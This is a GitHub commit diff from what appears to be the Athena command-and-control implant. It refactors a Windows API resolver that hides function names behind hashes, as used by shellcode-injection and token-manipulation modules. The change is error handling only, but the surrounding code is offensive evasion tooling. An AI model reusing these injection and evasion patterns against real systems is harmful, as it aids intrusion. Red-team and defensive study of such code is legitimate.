Skip to content

Commit

Permalink
fixed token resolver issue
Browse files Browse the repository at this point in the history
  • Loading branch information
checkymander committed Feb 1, 2024
1 parent 5ff66ef commit 3aa02cf
Show file tree
Hide file tree
Showing 5 changed files with 18 additions and 9 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -39,9 +39,10 @@ public static class Resolver
{ "ch", "A009186409957CF0C8AB5FD6D5451A25" }, //CloseHandle
};
private static Dictionary<string, IntPtr> entries = new Dictionary<string, IntPtr>();
public static bool ResolveFuncs(List<string> funcs, string module)
public static bool TryResolveFuncs(List<string> funcs, string module, out string err)
{
bool success = true;
err = string.Empty;
if (!entries.ContainsKey(module))
{
if (!map.ContainsKey(module)){
Expand Down Expand Up @@ -70,14 +71,22 @@ public static bool ResolveFuncs(List<string> funcs, string module)
success = false;
return success;
}
IntPtr funcPtr = Generic.GetExportAddr(entries[module], map[func], key);
try {
IntPtr funcPtr = Generic.GetExportAddr(entries[module], map[func], key);

if(funcPtr == IntPtr.Zero)
if(funcPtr == IntPtr.Zero)
{
success = false;
return success;
}
entries.Add(func, funcPtr);
}
catch (Exception e)
{
err = string.Format("Failed to resolve function {0} in module {1}. Error:\r\n{2}", func, module, e.ToString());
success = false;
return success;
}
entries.Add(func, funcPtr);
}

return success;
Expand Down
1 change: 1 addition & 0 deletions Payload_Type/athena/athena/agent_code/Agent/Agent.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,7 @@
<ProjectReference Include="..\tail\tail.csproj" />
<ProjectReference Include="..\test-port\test-port.csproj" />
<ProjectReference Include="..\timestomp\timestomp.csproj" />
<ProjectReference Include="..\token\token.csproj" />
<ProjectReference Include="..\upload\upload.csproj" />
<ProjectReference Include="..\uptime\uptime.csproj" />
<ProjectReference Include="..\wget\wget.csproj" />
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@ private bool Run(IntPtr target, byte[] shellcode)
"crt"
};

if (!Resolver.ResolveFuncs(resolveFuncs, "k32"))
if (!Resolver.TryResolveFuncs(resolveFuncs, "k32", out var err))
{
return false;
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ private bool Run(byte[] shellcode, IntPtr htarget)
"rcut"
};

if (!Resolver.ResolveFuncs(resolveFuncs, "ntd"))
if (!Resolver.TryResolveFuncs(resolveFuncs, "ntd", out var err))
{
return false;
}
Expand Down
5 changes: 2 additions & 3 deletions Payload_Type/athena/athena/agent_code/token/token.cs
Original file line number Diff line number Diff line change
Expand Up @@ -33,12 +33,11 @@ public async Task Execute(ServerJob job)
"lgu",
"opt",
"dte",
"ch"
};

if(!Resolver.ResolveFuncs(funcs, "aa32"))
if(!Resolver.TryResolveFuncs(funcs, "aa32", out var err))
{
await messageManager.WriteLine("Failed to get exports", job.task.id, true, "error");
await messageManager.WriteLine(err, job.task.id, true, "error");
return;
}

Expand Down

0 comments on commit 3aa02cf

Please sign in to comment.